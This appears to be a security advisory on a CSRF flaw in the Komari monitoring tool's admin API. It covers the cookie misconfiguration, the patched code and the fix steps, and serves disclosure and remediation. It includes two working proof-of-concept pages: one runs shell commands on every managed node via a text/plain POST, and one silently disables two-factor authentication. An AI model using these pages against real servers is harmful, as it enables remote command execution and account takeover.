GHSA-hxjg-93wc-h8p8: Cross-Site Request Forgery in Komari Management Interface

A high-severity Cross-Site Request Forgery (CSRF) vulnerability has been identified in the administrative interface of the Komari server monitoring tool. The flaw allows unauthenticated remote attackers to execute administrative state-changing actions via the browser of an authenticated administrator.

The target application sets the administrative authentication cookie (session_token) without specifying restrictive SameSite or Secure attributes. Furthermore, the routing configuration for /api/admin/ lacks Origin, Referer, or custom header validation, exposing critical endpoints to cross-origin abuse.

The root cause of this vulnerability lies in the combination of insecure session cookie configuration and the total absence of CSRF validation middleware on sensitive API endpoints.

During user authentication, the backend issues an authentication cookie. In the file api/public/login.go around line 68, the session_token cookie is created using the Gin framework's SetCookie function. The function is invoked without explicitly setting the SameSite parameter, leaving it empty. In legacy browsers or under specific cross-origin contexts, the browser defaults to loose cookie-sending behaviors.

Furthermore, the Secure flag is configured as false. This allows the session cookie to be transmitted over unencrypted HTTP, exposing it to interception. There are no additional controls—such as custom CSRF tokens or verification of Origin and Referer headers—present within the route group handling administrative commands.

An analysis of the vulnerable and patched code shows how the cookie properties and routes were managed.

Vulnerable Code Path

In api/public/login.go, the cookie is set using default Gin parameters where transport security is disabled:

// Location: api/public/login.go
// The sixth parameter is 'secure' (set to false)
c.SetCookie("session_token", session, 2592000, "/", "", false, true)

Because the SameSite attribute is not explicitly configured on the context, the web server fails to supply a SameSite policy in the Set-Cookie header. Under legacy browser implementations or local intranet environments, this allows cross-site requests to automatically append the cookie.

Patched Implementation

To remediate the issue, the application must explicitly define a restrictive SameSite policy and enforce transport security:

// Location: api/public/login.go (Patched)
// Explicitly enforce SameSite Lax behavior
c.SetSameSite(http.SameSiteLaxMode)
// Set secure parameter (fifth parameter) to true to restrict transmission to HTTPS
c.SetCookie("session_token", session, 2592000, "/", "", true, true)

Exploitation is highly practical using cross-site requests. Because Gin's default JSON binder parses parameters regardless of the received Content-Type header, attackers can bypass CORS preflight restrictions by serving payloads with a text/plain Content-Type.

Proof-of-Concept 1: Remote Command Execution (RCE)

This script forces the administrator's browser to retrieve the active node list and execute arbitrary system shell commands across all managed client nodes:

<!DOCTYPE html>
<html>
<body>
<script>
var TARGET = "https://komari.example.com";
var COMMAND = "id && hostname && whoami";
 
fetch(TARGET + "/api/admin/client/list", { credentials: "include" })
  .then(function(r) { return r.json(); })
  .then(function(data) {
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(TARGET + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "text/plain" },
      body: JSON.stringify({ command: COMMAND, clients: uuids })
    });
  });
</script>
</body>
</html>

Proof-of-Concept 2: Disabling Two-Factor Authentication

An attacker can disable multi-factor administrative protections by tricking the victim into navigating to the following page:

<!DOCTYPE html>
<html>
<body>
<iframe name="hidden-sink" style="display:none"></iframe>
<form id="exploitForm" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="hidden-sink"></form>
<script>
  document.getElementById('exploitForm').submit();
</script>
</body>
</html>

The execution of this vulnerability leads to high-severity outcomes. An attacker who successfully exploits an administrative session achieves complete system compromise over both the monitoring master and the monitored fleet.

Critical Actions Reachable:

• Arbitrary Shell Execution: The attacker can send arbitrary shell tasks to any managed client endpoint.
• Authentication Defeat: The attacker can selectively disable administrative two-factor authentication (2FA).
• Stored XSS: Attackers can rewrite site configuration templates to inject malicious persistent payloads (custom_head script injection), leading to subsequent session hijacking.
• Data Deletion: Complete eradication of all monitoring records and active status logs.

To resolve the vulnerability, administrators must update the Komari server installation to version 1.2.2 or later.

Manual Remediation Steps:

1. Update the cookie configuration within the login handler to set Secure=true and enforce SameSite=Lax or SameSite=Strict.
2. Implement a custom middleware to validate incoming request origins. This middleware must cross-reference the request's Origin or Referer header against the expected host header.
3. Implement a custom validation header (e.g., requiring standard headers like X-Requested-With) for all API routes under /api/admin/.